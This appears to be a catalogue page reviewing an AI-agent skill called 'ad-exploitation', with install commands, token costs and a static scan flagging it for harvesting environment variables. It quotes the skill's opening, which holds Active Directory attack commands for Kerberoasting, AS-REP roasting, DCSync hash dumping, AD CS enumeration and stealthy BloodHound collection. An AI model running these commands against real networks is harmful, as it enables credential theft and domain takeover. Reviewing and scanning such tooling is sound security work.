Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill ad-exploitationgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ad-exploitation)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ad-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/ad-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ad-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/ad-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00039 | $0.04565 |
| Opus 5 | $0.00019 | $0.02282 |
| Sonnet 5 | $0.00008 | $0.00913 |
| Haiku 4.5 | $0.00004 | $0.00456 |
Grade C, and why
ad-exploitation scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variableshighData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
Active Directory exploitation targets authentication protocols, certificate services, and trust relationships to escalate privileges, extract credentials, and achieve domain dominance. All techniques require prior domain How it starts
The opening of the file, as written. The whole thing — 428 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Active Directory Exploitation Knowledge Base
Active Directory exploitation targets authentication protocols, certificate services, and trust relationships to escalate privileges, extract credentials, and achieve domain dominance. All techniques require prior domain access (compromised user or machine account).
Quick Reference — Common AD Attack Patterns
# BloodHound collection (SharpHound from Windows)
SharpHound.exe -c All --outputdirectory bloodhound/
# BloodHound collection (bloodhound-python from Linux)
bloodhound-python -u '<USER>' -p '<PASS>' -d <TARGET> -ns <DC_IP> -c all --zip -o bloodhound/
# Kerberoast all SPNs
impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt
# AS-REP Roast
impacket-GetNPUsers '<DOMAIN>/' -dc-ip <DC_IP> -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
# DCSync — dump all hashes
impacket-secretsdump '<DOMAIN>/<USER>:<PASS>'@<DC_IP> -outputfile dcsync_dump
# AD CS enumeration
certipy find -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <DC_IP> -stdout > adcs_enum.txt
MITRE ATT&CK Mapping
| Technique ID | Name | Skill Section |
|---|---|---|
| T1558.003 | Kerberoasting | Section 2 |
| T1558.004 | AS-REP Roasting | Section 3 |
| T1003.006 | DCSync | Section 5 |
| T1649 | Steal or Forge Authentication Certificates | Section 4 |
| T1550.003 | Pass the Ticket | Section 6, 7 |
| T1087.002 | Domain Account Discovery | Section 1 |
1. BloodHound / SharpHound — Attack Path Analysis
Data Collection
SharpHound (Windows)
# All collection methods — generates ZIP for BloodHound import
SharpHound.exe -c All --outputdirectory C:\workspace\bloodhound\
# Stealth collection — sessions only (lower noise)
SharpHound.exe -c Session --loop --loopduration 02:00:00
# Specific collection types
SharpHound.exe -c DCOnly # DC queries only — no host enumeration
SharpHound.exe -c Group,ACL,Trust # Targeted collection
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 428 lines · 39 tokens per session scan C ed68e8234f95
ad-exploitation is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 39 tokens to every session and 4,565 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 1 finding (harvests environment variables). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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